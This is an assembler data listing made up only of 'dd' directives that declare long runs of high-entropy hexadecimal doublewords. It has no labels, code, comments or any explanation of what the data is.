dd 7A311B70h, 2FACC33Ch, 607583C5h, 620E42E3h, 0DDCA11E2h
dd 0BCD3A960h, 5EABFBE8h, 0EE93972h, 6CCEC1C7h, 0F1A55120h
dd 0EF5150F9h, 0B160E903h, 0F9319521h, 0A8C1CC82h, 0FB42E2D2h
dd 0DA502FF8h, 9552AC9Eh, 0A4682A4Fh, 349C6C95h, 0FD50C559h
dd 0FF476B34h, 4A0BD4DEh, 0DFFCA631h, 10EFF319h, 0E1FFE37Fh
dd 278EC142h, 48B5BA65h, 98725549h, 1FBC05C8h, 850058B8h
dd 18DB980Ch, 0E81714B4h, 4E5030h, 2016DB84h, 0A674CAE7h
dd 3B29DE0Ah, 9172A85h, 50EAD93Fh, 0C36AF93Fh, 6ADC435Ch
dd 0F8508E1Bh, 6A70BB20h, 4FDFFAADh, 7C8961D3h, 0FBAFF879h
dd 9B7DCE17h, 7A99B85h, 934299D4h, 8AD63CDBh, 76FF823Ah
dd 97F0ACA1h, 0E02AD22Ch, 6189503Dh, 0E3E577A0h, 9ECA965Eh
dd 2141219Dh, 0BA0654A3h, 225D58A7h, 40A5EBFAh, 4A1F17B4h
dd 0F4309C89h, 2C877573h, 0B9A11AB9h, 0E130206Ch, 138AB869h
dd 1F032A20h, 1D5CADFAh, 899068FFh, 70B39A66h, 667F77E2h
dd 75F314F1h, 6F1593ECh, 3AE70AF3h, 0D0EF6A65h, 1EF09800h
dd 7DBE01A1h, 131A98F0h, 61606DF9h, 466416B6h, 2C8564C7h
dd 4C445112h, 487790ECh, 62286F8Bh, 24F716DDh, 2C2B755Ah
dd 54BFAAB4h, 620AD1EAh, 0E71242F0h, 3E102E0Fh, 0BF8DEC83h
dd 7954240Eh, 880D0161h, 2D231C03h, 0DFC5B0ADh, 87295C13h
dd 54CB107Ah, 62755FB1h, 0CB5D12A2h, 0BC4779B6h, 45AF4DCBh
dd 181F4471h, 7B4491E6h, 0E961970Dh, 0E737A8Dh, 5EE4D092h
dd 6BB1835Dh, 0A3FEF7DAh, 0F34603B7h, 53C5AE6Ch, 4E9814EBh
dd 30CA0D28h, 1E045AF5h, 89C7D8D2h, 233DAB2Fh, 85EB4E12h
dd 1AE8BE9Ch, 0A90FF08Fh, 77A76190h, 529EE3BBh, 5CAF8E70h
dd 0BBF208DBh, 11465387h, 2DF48852h, 92A9F001h, 60C6715Dh
dd 28A536Eh, 66F219F5h, 0D8718EC5h, 9B3F139Bh, 1670D216h
dd 5FF7EE6Dh, 11F7B425h, 0AB3DA87Eh, 2002662Dh, 6CBA7418h
dd 0B24B0A84h, 3296F9E0h, 6197149Dh, 0F2B643EFh, 0EDFE47AEh
dd 3A21C714h, 0E4498544h, 82549F7Fh, 7BC2167Eh, 0D77FB415h
dd 0DD8A3843h, 0D742AFBEh, 0C6945085h, 0EC2C5066h, 19BB0A6Ah
dd 3168A3DBh, 8374569h, 0BE489D0Ah, 0CE4A2446h, 30416FA6h
dd 0CD9122DBh, 18A4A66Dh, 0BF2578A6h, 5B89C2D2h, 0C9A8E887h
dd 17785D11h, 0BCBFA443h, 61F8B27Eh, 0B32D03C5h, 863928A3h
dd 6B28E857h, 0A2C93A0Eh, 0D24896C8h, 8B639142h, 0D7C4EBB6h
dd 92EAEA9Fh, 0BECCE65h, 736C9593h, 0A4C4AF93h, 0CE576D3Dh
dd 7A697B46h, 5165EDB2h, 89E6976Ch, 0B9E11E10h, 41F21DA5h
dd 3D4DE353h, 20ED0EC9h, 0F86CEFCh, 1DB76727h, 2F8BE734h
dd 5F374011h, 0AFC01A24h, 0EDD5AFECh, 0F8A73A1Fh, 64681540h
dd 0D8CA9804h, 0C029C1F7h, 0CF7C6409h, 0DE98E644h, 346CA17Fh
dd 953227F6h, 0E95A954Bh, 2C73E1CCh, 38F99B36h, 15CDD83Dh
dd 7950DADFh, 4D88F76Eh, 33899FBFh, 0B26DEAh, 7D328E56h
dd 75D662C0h, 1612B6AEh, 0C3BE428Eh, 1DDCE484h, 0AAEE7156h
dd 9BE795F0h, 821F6497h, 0B7E429AAh, 95CB07C9h, 233DE135h
dd 0D6FCC14Dh, 4C739580h, 0A13265CFh, 0A07F0CF0h, 4D47D632h
dd 0DB3AF674h, 98CBC702h, 8BAB744Bh, 0B6EBF82Eh, 0E4C8B952h
dd 5177FBE3h, 0E2D50679h, 0B14843A9h, 0BD1F391Dh, 2EA7CEB7h
dd 292B0D62h, 0C8D18663h, 0FE872BBBh, 527AE031h, 3E4DC18Fh
dd 29D82B6Fh, 0C6F717FCh, 0FD7B07DEh, 0B2D3E63Dh, 1DCBAA5h
dd 76178E0Fh, 399BE168h, 1A8C2EB8h, 9D4CB9A5h, 0E99906FFh
dd 0E9A9B2Eh, 171B2BD9h, 2530F01Ch, 0C8804B2Eh, 601C91AFh
dd 0A44E3864h, 177332AEh, 48C94995h, 0E6B44719h, 0BC4C92C5h
dd 0B35BE0Eh, 0BD3C81FBh, 8DA1D8E4h, 0EF54301Eh, 867768EFh
dd 0F20DD02Ah, 0C3222B2Fh, 0CCFF2A0Ah, 489EC6A3h, 7D0D73B1h
dd 0F2754603h, 8197731Eh, 7E7937F0h, 0D195065Bh, 8DCB4CE2h
dd 0A0CBAC99h, 49BE5E0h, 0EC56AB60h, 0AC635A93h, 41D8E7BEh
dd 5E381C8Bh, 0ADEE136Fh, 726470E7h, 0C443BA22h, 82802B77h
dd 5830DED2h, 53659DCh, 0B5CD36Eh, 0F5DBE926h, 30B72A97h
dd 0FC689542h, 66B19919h, 6A9AE68Ah, 72B2056Dh, 7CA24FC4h
dd 383E7830h, 3E48D4F3h, 87C1DBE8h, 6C61EAD2h, 0BAA4B709h
dd 0FAE62AE9h, 5C40633Ch
dd 13C08FCAh, 0D15B113Ah, 0A95DD272h, 68FD67CBh, 41AF809Eh
dd 0C1645A69h, 0C03B02B5h, 0A88215BAh, 0C3BF50C3h, 0E8537E57h
dd 4648FD9Ch, 0D44AD826h, 625B9CF4h, 3627E11Dh, 73C6F1E7h
dd 0D6E5DAC4h, 0F099F7CDh, 10635A02h, 475B7E03h, 7A8D6119h
dd 0B276C6BAh, 0E80FB6A1h, 4AD17778h, 0D86A979Ah, 0D6A5B7F2h
dd 0B54B66BBh, 2EDECF40h, 767BF63Dh, 0A98A4813h, 0EE3283F2h
dd 0FC88BBA5h, 2B12F1EFh, 298E8A96h, 831545CBh, 0ECB7870Bh
dd 0CCD7CE75h, 30A7F68Dh, 0C9C8A25Ch, 3BA294D6h, 9EC5694Eh
dd 4162E62Fh, 33095A4Dh, 285EB97Bh, 303FB589h, 7413972Fh
dd 65910A7Dh, 0BAC17AA0h, 0F1CF75DDh, 5025F4E5h, 0BF2AC527h
dd 0AC8021ABh, 0E1869C7Eh, 125F19CBh, 42953455h, 9B7CB9FCh
dd 0DE6AAFA4h, 8DE3D1C2h, 0BD49548Ah, 9A0682ACh, 1D1A0F9Bh
dd 627ABA4Ch, 14B2597Ch, 0EC4A91C9h, 0EF6C567Ch, 720D8C58h
dd 62A94605h, 2470B758h, 6D2C194Fh, 8DA03512h, 0C864D1E8h
dd 53BC2119h, 8A174DD4h, 9E49DD96h, 0A3FE3C8Ah, 2C2A3C32h
dd 23C906BFh, 32AB2AC5h, 661D6D58h, 0E5396042h, 92DE2896h
dd 0AE622DD1h, 0FA64A0EEh, 0C7F17C5h, 48442910h, 4BE7A7Dh
dd 0A660D45Ah, 0CD74CC15h, 0AE433305h, 627CC07Fh, 0ED4AD1F3h
dd 0E9A64474h, 556738AEh, 1EE2C99Ch, 0F16AF3ABh, 5AD1D7A1h
dd 367CF69Fh, 732D9FC2h, 38EB8A84h, 0A7855280h, 0B8E7ED54h
dd 39DB1A03h, 0E7306C90h, 535DC08Eh, 1E60A9AAh, 8BDA24E0h
dd 0B9AE4C4Ah, 97F1F3C6h, 3BD6EBABh, 7D79FDD3h, 0ACD11C8Dh
dd 0DC540463h, 2D31F71Eh, 63AB4AA5h, 8CBC8A9Fh, 0D0786366h
dd 11662A63h, 0EC1F7EA9h, 345AD118h, 88178001h, 888817AFh
dd 4113397h, 0C70E2Eh, 0D947D58Dh, 468CAAE1h, 0CBA38FB9h
dd 9B4674F3h, 8782A105h, 0CFD2D0D1h, 1C069279h, 98429FDBh
dd 0DA233D91h, 0B4402938h, 0F00B05C4h, 0B822AB1Eh, 60604C01h
dd 0ED607B33h, 0BA17AD0Bh, 1CEBD5B7h, 0A22D24B7h, 7961175Ch
dd 2EC8A229h, 43D39D4Fh, 71D4F42Ah, 643D293Fh, 4816717Bh
dd 0EFC87F59h, 0CF24687Ah, 5267ABFBh, 6238A550h, 0F0C46AC8h
dd 44F8EB29h, 0F8D91F08h, 0EFFFDA3Ch, 0C033CCFEh, 0DC509492h
dd 0AD8127F5h, 271294BDh, 299A5DF9h, 87B157BDh, 0EF2F5098h
dd 9AAAD89h, 0A750AF1h, 82EE6317h, 0A7DC37EDh, 0A0FFF956h
dd 4EDD7C04h, 3724D594h, 0D2AE1086h, 0C3B37EB7h, 0E4A9CC1Fh
dd 0CD6DF93Ch, 5E402005h, 0BDDDBB6Dh, 0F3FC1C37h, 0AAA2FC8Bh
dd 8C7888B7h, 7D7BC8D6h, 0B6454C12h, 3C99B31Dh, 4447CD5Bh
dd 71FBA68Fh, 5B382A65h, 0CF42FDB2h, 7CB4A1C2h, 90EB3369h
dd 0D55CAB12h, 7DFAD74Bh, 52FDF95h, 5B02FC5Bh, 22D4545Eh
dd 0CA52F6AAh, 0CB547F72h, 0B8BC7BD1h, 0F6455A33h, 4417D8E5h
dd 0F69EFE9Ch, 0A7426F48h, 0A2033A5Dh, 412FF3C3h, 0CFE3B77Ch
dd 0EBE38082h, 38CD0B23h, 88C8E09h, 64DF7D40h, 34C0AF19h
dd 35DBBC54h, 246BB42Bh, 134CFE5Bh, 0DD3BE237h, 0C20DC476h
dd 0C0655D9Bh, 0FBE18449h, 7B3A666h, 89452785h, 24E545FAh
dd 3F433B11h, 1F01AEF2h, 1A0A464Eh, 28624A37h, 0FF284D14h
dd 37010C0Eh, 939DCA64h, 544EF81Ah, 4A270096h, 54CC9C9Ah
dd 2637062Dh, 1223B88Dh, 0E1ED9E37h, 0C5AE8FD4h, 0E64DEC02h
dd 0A863658Eh, 0C33CF6A2h, 96F6D8DEh, 0D232246Ah, 0EB014E39h
dd 0D19960FAh, 2738AC32h, 141B0AFEh, 0E5669699h, 0EDD86463h
dd 8200E07Bh, 0E8E7A3E5h, 1ABB7317h, 0CF097B2h, 335494A3h
dd 28EAA66h, 62EC5ABCh, 22472BEEh, 3F6F2C0Fh, 3AF35F2Ah
dd 0EB6E8618h, 0EEAFBB1Dh, 0F7BE044Eh, 0FF19A5F1h, 0D84B6597h
dd 13F72BD9h, 7763646Ch, 0A2A6F561h, 0EEF8153Bh, 1E1C0F87h
dd 0CADBF2ADh, 82167B30h, 4DB13AB6h, 446B59h, 993CD2F5h
dd 9B94C6F1h, 85083EE7h, 93A1B266h, 0EFCF7BAh, 0C24AF9C7h
dd 0E4865B4h, 9542AF6h, 59F74C59h, 25A6CB00h, 0B232D7F1h
dd 0C3A49055h, 8EA422Bh, 15F411A9h, 7B4852DCh, 0C7C5499Bh
dd 9B808773h, 3EDAF76Fh, 0A59BC725h, 5309D8F6h, 234BEC3Fh
dd 8793F836h, 73DDB22Ch, 0A15C332Eh, 0E5FB102Dh, 0F0B3D949h
dd 1A2EFCF1h, 7A65371Bh, 0EDAB1A79h, 0C74C2B42h, 947A2202h
dd 0C33A2E97h, 93EA9F2Fh, 0C945879Dh, 54CF00ECh, 0E61236E8h
dd 8CDAE40Bh, 0E86B8B77h, 13DF13D4h, 0D4A48FECh, 0F864699Ch
dd 0E7679299h, 38C2E694h, 0A15B8CE2h, 298A1A43h, 4E376100h
dd 0CF9582C2h, 0C3ECE0C9h, 2AD48D80h, 8FEEE1h, 0E810A62Fh
dd 8F540DDAh, 0B63135A2h, 0C2F139Bh, 0FD65DF94h, 3AE1E9Ch
dd 0EA8F5054h, 0AF11ACC4h, 26DBD1E1h, 80A511BDh, 671B6A3Fh
dd 332A4726h, 0A1882FA1h, 0D6673889h, 9707C92Ah, 145D4D9Ah
dd 5E666377h, 0BF2324BEh, 5717F3CCh, 0B319D093h, 0CC6922AEh
dd 0AB7E8EC2h, 9EDDE707h, 0A540866Fh, 0EA1EC3FBh, 6B9AAD03h
dd 71370100h, 428599ADh, 5C1AF815h, 66A05CDEh, 0CBB94CFBh
dd 0E7AC9FB8h, 2569AC1Eh, 0E114F33Eh, 0F8FD1604h, 0BB3C2B0Fh
dd 8B975921h, 496B26C4h, 0C55284BCh, 9250D03Ah, 0E98C479Ch
dd 799EB45Eh, 0FCD2014h, 3CE9F6A4h, 71A44C24h, 684A9C48h
dd 0DC6B6AE5h, 162ED32Dh, 0C9720D42h, 8C11EF31h, 0CD4907E8h
dd 70134F9Bh, 2E4F2234h, 0C6AFE8D4h, 0F7BCBB9h, 3F7086B4h
dd 3BCFB9C0h, 0D69F7877h, 0F2BBABB1h, 0A85A8F2h, 0F7EE9C69h
dd 0E048F3CCh, 836F357Ch, 0CE5DD917h, 6803649Eh, 56FDEFAAh
dd 4738A127h, 44543945h, 491141F4h, 0F7CA7E3Ch, 0F25CA60h
dd 97F9C2FAh, 2551BC6Ch, 45F2907Fh, 73A3F239h, 24ED4A1Bh
dd 47BD791Ch, 0FB0A4E0h, 0DB09E5B3h, 3283266Eh, 85932889h
dd 54403B61h, 0CDBD07AEh, 0E07D7326h, 77BC1105h, 0CDF5089Bh
dd 83DF9F2Ch, 0CC976A4Fh, 0D7391044h, 0AE0DFF99h, 0A473BBE8h
dd 17ECD45Fh, 83E92538h, 57DFBB37h, 0EDC3065Eh, 0A1975Bh
dd 0A11EA29Eh, 3D041BCAh, 767CD56Eh, 0CF80BFDFh, 82EDC790h
dd 4A1F4C3h, 9F658137h, 0ED4FE478h, 92B7B45Ah, 0A6F981E4h
dd 7C9CA3C2h, 18AB5D12h, 52C2C272h, 3F5460FCh, 0F3E71F13h
dd 0B119669Ah, 45207128h, 8B0B2469h, 9B33C292h, 724A6671h
dd 5D040CC8h, 0ECE271F5h, 7CC18A07h, 6208C37Ch, 3510F8A1h
dd 23592A01h, 0C823DFDDh, 3F8210F8h, 315B9580h, 0EA78A552h
dd 2A5B0B2Fh, 0C25801DEh, 50A54FABh, 50B197F8h, 0E0B7E286h
dd 57B9C179h, 0ECC96F2Eh, 6D4ED470h, 0D1982424h, 0B3FBD5CDh
dd 7B1A56DCh, 0B4D2C7D3h, 0F64800DAh, 9009B4A7h, 6B46D030h
dd 324B3C01h, 8F47CDEAh, 0D471C099h, 0E95EED8Ah, 61D4BE2Ah
dd 4E1680C2h, 0CC8CDDF0h, 16A8277Bh, 0A38CE513h, 74029D06h
dd 2AB4D0C6h, 27285D94h, 5B1DBD2Eh, 0FBD9A42h, 4B5E465Dh
dd 5EAF2EB5h, 0D77C2971h, 9436586Eh, 0AA59B7FAh, 0FE1EFCABh
dd 5BA1F27h, 68FBEDD3h, 0D2A24ACFh, 888A0343h, 0BF6842B4h
dd 4C9BCD5Fh, 5D3E81Bh, 30F5E894h, 0B4FB4F09h, 0D5DD2047h
dd 8F71A1CDh, 957A542Fh, 0FC1B335Bh, 27CAAF47h, 69ABA335h
dd 207FDFC2h, 5BF6D0C8h, 8AF30094h, 8B2E646Dh, 98C1BE8Bh
dd 58F25DCDh, 167718E9h, 16C14ABEh, 643A3A98h, 0DA41BB90h
dd 6BCF0B6Bh, 347148FCh, 0C808B260h, 45E4FFDAh, 848665EBh
dd 0EF0760A1h, 0D6C01233h, 0A179FFB8h, 66CE09C0h, 0FFAF799Ch
dd 0F09C2A94h, 0C9179CBDh
dd 6DAF366Ch, 6932C6D4h, 51321365h, 0E9C13CA9h, 82899FFCh
dd 2427514Dh, 0C3ABF325h, 244A12D8h, 0A17A7564h, 0AC1AEC62h
dd 54C214C8h, 14F2B6AFh, 0C5A99B8Ch, 8E573475h, 0E8EACB16h
dd 4C67595h, 0FE58FBAAh, 0C5664539h, 290D2E12h, 0C438E88Dh
dd 0B98DEA9h, 0BCF08A0Ah, 0F916E0D5h, 0E43143EBh, 8A0C13C5h
dd 1D9BC992h, 0B6B3DAA4h, 6615762Fh, 478AD4C8h, 48BBC7C8h
dd 8237A877h, 62CBBFAFh, 38CEA612h, 7F2CA5E0h, 0A5C90B99h
dd 0FB925EFBh, 711FC1D4h, 0D37979BAh, 13C5EDEEh, 0DAB07317h
dd 1628C941h, 2AB0B7CCh, 485B1685h, 0D882C731h, 803FBF51h
dd 0F17E7158h, 56A3367Eh, 22B19013h, 7CDA5B10h, 0F154D914h
dd 6B15F730h, 7317AB60h, 8B2A4036h, 71C408A3h, 0FD0EE24h
dd 48203FD5h, 0CC716731h, 4B07BCEDh, 0E57B6AE9h, 0A63E4F6Bh
dd 0AB6C33EDh, 0F870BA54h, 0E2041637h, 0C58DCE6Dh, 5DD6B9Bh
dd 0C1CD3680h, 0F4B68C3Dh, 3478B731h, 0C53F646Fh, 0F0863529h
dd 8EDE8E02h, 0D9C2DF67h, 3713A29Ah, 0D25E1195h, 4E1E0CE3h
dd 0D183C573h, 0B29513E4h, 90C0C905h, 6948ADB2h, 94B7755Dh
dd 83DAEB13h, 0F31C7B01h, 38705649h, 4416A683h, 12FE5D09h
dd 3C259B15h, 59593B63h, 0C753F277h, 49C3F0C7h, 0C962C2AAh
dd 27B23DCAh, 1351ED08h, 0D48AFF5Dh, 9023F40Dh, 91C5699Fh
dd 1F2D8FD9h, 19C86905h, 68A8274Fh, 0E4D309E5h, 0B14CB330h
dd 1E74F80Ch, 0C7FD199Bh, 92A7FFE6h, 6DA6DABFh, 8D3CBAF3h
dd 429B860h, 0A76AFE56h, 0B7A973CCh, 90689F24h, 2AE20EDDh
dd 0C7D71AB6h, 6FB09C0Ch, 7984BF55h, 221EC56Ch, 0FE9C4F45h
dd 0F41F9BA4h, 6FAD7190h, 0D835CB8Ch, 335B4BD9h, 0B00A425Ah
dd 9BA87737h, 0A213DE9Eh, 5C9DF502h, 7CC0419Ah, 8327B171h
dd 0CACBB2D7h, 0F85E265h, 0FC4166E8h, 4BF73157h, 7F10244Ch
dd 779741Dh, 31BCBA53h, 0D6100489h, 41F705E0h, 0AD2E5F51h
dd 5CE56ACBh, 93F92B76h, 0D27BA22Dh, 0D1F5146Ah, 1D67D6ABh
dd 7E302F42h, 7BF68530h, 0E6DB9C72h, 0E798447Fh, 35DE508Ah
dd 0FF4A2AA5h, 0E5B05A45h, 1388D46Ch, 7326DA44h, 712988E1h
dd 0EB299EF3h, 5F61C3D1h, 863518Ch, 0E3136157h, 5BC259E3h
dd 0CF03418Dh, 0F6325B01h, 8347190h, 5E3A9176h, 4A538FEEh
dd 0E1F51BF0h, 1B27E710h, 0B710D097h, 1CF3AEE2h, 0D4E26634h
dd 5D9C6503h, 7DFD6528h, 8E514D75h, 0D9F3B05h, 129F58D8h
dd 62B3CCD1h, 93A522C4h, 0EB7F7E4h, 0E751B735h, 8B339307h
dd 37F9C68Fh, 18815B09h, 6754F99Fh, 3E8D998Ch, 0FF74189Dh
dd 8793F1E0h, 8B2D4CDFh, 0A2F751A1h, 3B3E24A6h, 0BD66AF3Fh
dd 0F703D7BBh, 406005CBh, 0D6F257Fh, 0C1899F00h, 4CFB326Ch
dd 0D71EF39Bh, 0F01FF8F6h, 320B5DC1h, 0F919247Bh, 0F7509018h
dd 34FBA415h, 48F5B462h, 0B6BE1ECAh, 0DA0B9E9Dh, 8FBDDB55h
dd 0BB103A1Ch, 5168A92Bh, 70A1914h, 80D25E7Dh, 0CE70CA8Eh
dd 29709767h, 9E409C1Eh, 0ACCEC7D1h, 200A6185h, 0D18BA203h
dd 407D5CB3h, 0D98DB525h, 45BEFD23h, 34943AFFh, 3F6E4DAEh
dd 80D1C11Eh, 2C7B9016h, 0B2FAA6B0h, 756595C4h, 1C457FEFh
dd 0ECA13F9Ah, 1A0B1D2Ah, 417E19F1h, 0DE5B2546h, 0E3BC4ADDh
dd 793AEEh, 0F4BE1521h, 365A63Eh, 8C4E60D6h, 775BACCAh
dd 5186DF85h, 9F82B8Ah, 0F47712D1h, 9EB92592h, 363E1967h
dd 8F535FCh, 0F4A0117Ch, 32F6A1C3h, 0E5244EF6h, 123F4182h
dd 40EE36FDh, 0A13722D8h, 168F1DEFh, 42DE62BEh, 920CEEBEh
dd 500A7D2Dh, 719D2F65h, 1AF775C7h, 0CB84D6C2h, 0C4250A27h
dd 0F34A791Dh, 0D95EF4D7h, 1962740Eh, 0B085F35Bh, 70B155DDh
dd 38FC7166h, 42EE2770h, 0A36476BAh, 0FA4B4BB6h, 3F12E552h
dd 8C9FEDC8h, 25D1496Dh, 381E7A03h, 1E989F5Dh, 0C4484D50h
dd 6F119476h, 2AD01656h, 6B728F00h, 3EC22DE8h, 42E31967h
dd 6D83FBCFh, 7930C162h, 0C9A8A9C9h, 1134A43Bh, 7778BFECh
dd 7FEAC598h, 6AF02E33h, 0F2ED7727h, 67DC1A1Dh, 30C7A9F7h
dd 0D1254C76h, 0A1E42E15h, 8ACD6C43h, 0A33BDDBDh, 584AD5Dh
dd 0F9456EBAh, 0CD25D81Fh, 0C57E1668h, 0AF6FE518h, 3B6CC38h
dd 28F6F191h, 0F7AF272Dh, 0FD35841h, 0AB3FBE9Bh, 71ED57D5h
dd 59EE862Bh, 8B1825CDh, 351D7171h, 0BA36E3C3h, 0F31D20F7h
dd 0F8301CA5h, 8075938Ah, 92D77A77h, 0B977FDDAh, 21910D3h
dd 5BF2CC28h, 0A3740A25h, 0A7D4317Fh, 0C81C891Fh, 0CFFAF542h
dd 0DB8D1006h, 8B5A8419h, 904FD03h, 0A876B47Eh, 7CD31610h
dd 0CD69CE43h, 0B1C186ACh, 1474C429h, 0BAAD008h, 0D44EA052h
dd 8E7FAA3Dh, 744B33FCh, 7DE4638Ah, 0E74FAA81h, 0F3680A57h
dd 2B75E95Eh, 1CCCA0D5h, 0CA85DDECh, 35ACDCADh, 0A7ED3263h
dd 0B2FA9A0Ah, 5C76E7C5h, 0C03AF945h, 3CF08E25h, 0CCB58968h
dd 4C64EECCh, 6E15AF11h, 277F640Fh, 0C42160AFh, 0A7AEE1D8h
dd 51B3C11Ch, 5CF263F7h, 630FC0A3h, 0CE264298h, 0DF18544Bh
dd 1C5480A6h, 906B312Eh, 13D6C1h, 0D6123C18h, 87960606h
dd 43DE6FC1h, 4F30F35Fh, 2F44174h, 0D1970B90h, 4A1CA4B6h
dd 0B605FD10h, 7D9BD3C5h, 357F658Ch, 9CE5D12Ah, 8758F1E6h
dd 9D1F8CEBh, 0E79CFFBBh, 63DA421Fh, 0EAE28C87h, 7F577A55h
dd 2DE7FB64h, 9B45C219h, 193E9B11h, 0E3F53E17h, 0A8EBC4CBh
dd 5B7DA692h, 20F42F5Eh, 0CD1C2D1Ch, 69A6B990h, 0E7D45068h
dd 24D24CE3h, 561CCFF8h, 3C286BE8h, 6020E63Fh, 0F1945D73h
dd 8AE4211Fh, 0D194323Ch, 0EBF8EA57h, 8AE9065Ch, 68783DD1h
dd 3757CF0h, 9DF04D2Eh, 0B15BEFD4h, 0C2A61082h, 3F1601D7h
dd 922B47FEh, 0DDB488C6h, 64095877h, 0B1DBB70Ch, 91837243h
dd 56B42CFAh, 170DA42Dh, 49C3962Dh, 59E354DCh, 0F5DD2F6Bh
dd 0E4F92ECBh, 31B9166Dh, 8DE61B74h, 71E0C97Ah, 23DF83Dh
dd 0D36A4D8h, 445CE78Ch, 0D18B09BBh, 3AD03F20h, 0EA73FB9Fh
dd 6FA5EB8Bh, 5F1A220Eh, 686AC0A7h, 0B75AD4F1h, 9D9B01E6h
dd 5F1ABECCh, 0FA2A095Eh, 76353AFDh, 65A9EB92h, 656D2978h
dd 0EBE36BFBh, 0DF041FF1h, 0D306C4FCh, 0F2EAD3AEh, 2F7C6365h
dd 146965F1h, 64625A59h, 26FA5510h, 53802897h, 1641A859h
dd 81B8DC58h, 0C1F348F5h, 0D5C3702Fh, 0DB135A5Bh, 0DEAE7205h
dd 8130EA02h, 9CDDE153h, 0C96A32C7h, 602D012Dh, 0E7C4850Ch
dd 1752FB31h, 4249BE6Bh, 0D8664898h, 3A404047h, 0BC30E35h
dd 0EBF82F98h, 0A6A91B38h, 6184240Ah, 250B6276h, 2AB84061h
dd 20D6BB3Dh, 314FCE54h, 5030FC41h, 14CEC308h, 2C2B1915h
dd 37725253h, 821D729h, 80F05AA0h, 0B66B8F1Bh, 68F78973h
dd 0F6922759h, 9124D56Ch, 52AD4E89h, 0DEDCB967h, 25DD1523h
dd 378086FCh, 0AA902349h, 0AD83F36Ah, 0BF2C8DA0h, 1EFFB070h
dd 0C3E69A89h, 868E4B84h, 0AE3C79CEh, 9458D2B4h, 9D54FA84h
dd 59A2E23Bh, 285ED165h, 9B854BF1h, 68616484h, 0B752D721h
dd 283DC62Fh, 0A3AD6B91h, 7C3E296Ch, 46BD538Fh, 51D64FDDh
dd 0B070A569h, 89F754Ah, 0C37849CCh, 263755EAh, 758A3204h
dd 4F87FB17h, 0EAD153D5h, 2E9BA223h, 0EC48E706h, 67D729DDh
dd 2DB3B5A7h, 44F60726h, 0B2500C6Ch, 0CD76BC33h, 93A45BDCh
dd 82693629h, 0DFDFD404h, 14CC0F83h, 55DC52DFh, 297950C6h
dd 4DEB8062h, 27D53FE9h, 0BDB20488h, 684A12F8h, 1ACA15F8h
dd 0C11DEC54h, 6940ACD3h
dd 3ECFD753h, 0BFE8065Dh, 5169304Eh, 4F11B1A5h, 0A5B5C471h
dd 6A8D5919h, 0ECEFF33Eh, 0DE601B58h, 0C11FE6EDh, 8590688Ah
dd 50BFCE17h, 0FE4D1DC7h, 0F91BA5CFh, 0F5C88EF9h, 0DC2BA728h
dd 47A2DC90h, 0FA096F8Fh, 22513C7Ch, 0A5B4C5F0h, 1CCE4244h
dd 0DE3561EDh, 19FD99C1h, 1EE8EFCFh, 5007240Ch, 7F4CC0FAh
dd 2E44B33Fh, 1F032058h, 5FFDB464h, 0BD656215h, 0AD5C3EDBh
dd 41CBE1B5h, 111AE4FCh, 50023C64h, 86FA33DEh, 2A43420Ch
dd 28D4CA97h, 372E9956h, 0D466E797h, 2A193A8Fh, 0CCEB80BAh
dd 0D371A12Ah, 93288EDBh, 0BAA14580h, 0F681BF90h, 0C935A8CEh
dd 0F9EC1260h, 0C912431h, 0F0308FC2h, 1292E5D7h, 44292B44h
dd 430439C7h, 36C3EE1Ah, 0CCE16740h, 0D6F9447Dh, 27E7EFBDh
dd 13EC4083h, 436FCF87h, 891258C4h, 19879E03h, 0CB07BA1Dh
dd 9C956C9Ah, 5E206BEBh, 0B7EB733h, 0D2532A48h, 0A095C06Ah
dd 9EBE1619h, 58FA5715h, 5B03D6CCh, 80262077h, 37C72315h
dd 0C1B5F21h, 532BC237h, 0BBBC95A3h, 0EE394439h, 0AF4B24Bh
dd 4F4A74FFh, 0C02612D7h, 0F1DE0280h, 0DAF5D44Ch, 369E4DEFh
dd 0C887D0D1h, 0CFE744A3h, 0A4E9DE57h, 0E5FA26D7h, 803AB48Bh
dd 14FDC6A9h, 9AEC950Ch, 8E265E50h, 3C44EB12h, 0C9A3025Bh
dd 19C22E2Eh, 0E07F4B3h, 19E3EC9Ch, 24453969h, 29809E92h
dd 68415266h, 24C348A6h, 96FCACE8h, 0DCBC4653h, 0BAC76A4Ah
dd 0AA76E955h, 32202FBEh, 696C5243h, 5C18534Eh, 0F7AFAB1h
dd 0E6948778h, 0FCF22AECh, 8C47451Ah, 3E137661h, 0A82FF0A8h
dd 0B980F13Bh, 0C18FAB33h, 3DA40B1Ah, 0CE169452h, 0D14FFFDAh
dd 8745D227h, 0C4C8FB44h, 0A43CBB2Bh, 0BF94353Ch, 0C6E817B6h
dd 189968FEh, 0CD8A93B7h, 6211BB12h, 629CC7B1h, 0EF63D9F2h
dd 0D67ECCD6h, 3D9D085Bh, 399E39BCh, 3A43E6E8h, 0DF17B3DBh
dd 17FFE229h, 9FE7D3F4h, 0D9F220EEh, 93DA7D81h, 1B705970h
dd 0B491DC42h, 17A22AB7h, 949E3A3Ah, 0EB598737h, 0AFCB2533h
dd 80BE880Fh, 20E27405h, 6F434720h, 66C4BD62h, 0DBF790EFh
dd 11887205h, 0D2E01578h, 0C4812ABCh, 7BE6B896h, 20DE7B0Dh
dd 416EA6FFh, 0FA036F01h, 6C2BEB66h, 0E8B99088h, 96DD90ECh
dd 32043739h, 0ACAD990h, 0CCB5F2C7h, 8D98E70h, 2200EEC6h
dd 3CC8AC60h, 2A30656Bh, 6CEAD929h, 0D7AB3246h, 417055BAh
dd 0A01BF13Ch, 2FDBF0C6h, 2CE2F5FAh, 76B6F0F4h, 80088A9Fh
dd 0F909F85Fh, 0DACE7AF9h, 9AC13254h, 7E66E1BAh, 0E83ACC3h
dd 40C6D1C4h, 0F7AEDB94h, 5928D46Fh, 3FE500h, 0DFDF034Ch
dd 3A3C719Dh, 88CC7AD8h, 8AD7D0D5h, 4C808344h, 498A7054h
dd 5D2D3F60h, 0B989EF86h, 5B87258Ch, 9FD9550Fh, 7C66C368h
dd 18BDA67h, 5DDA16A2h, 0C0CB9D1Ch, 4265D407h, 57B3679Ah
dd 0C5F596EFh, 53D74B40h, 0E7656A09h, 0A5B1C478h, 5B1F0133h
dd 92BFB2A8h, 1AC2FEB4h, 0FFCE9305h, 0C148EFB6h, 4F7E4096h
dd 9ED05DF2h, 0E6C4B1B3h, 0A0BFC432h, 0EA26EF8Ch, 76470E9Fh
dd 0D6DDA944h, 0F994875Eh, 0F3BAB16Ch, 0FB41E7DFh, 0FBC1A8DDh
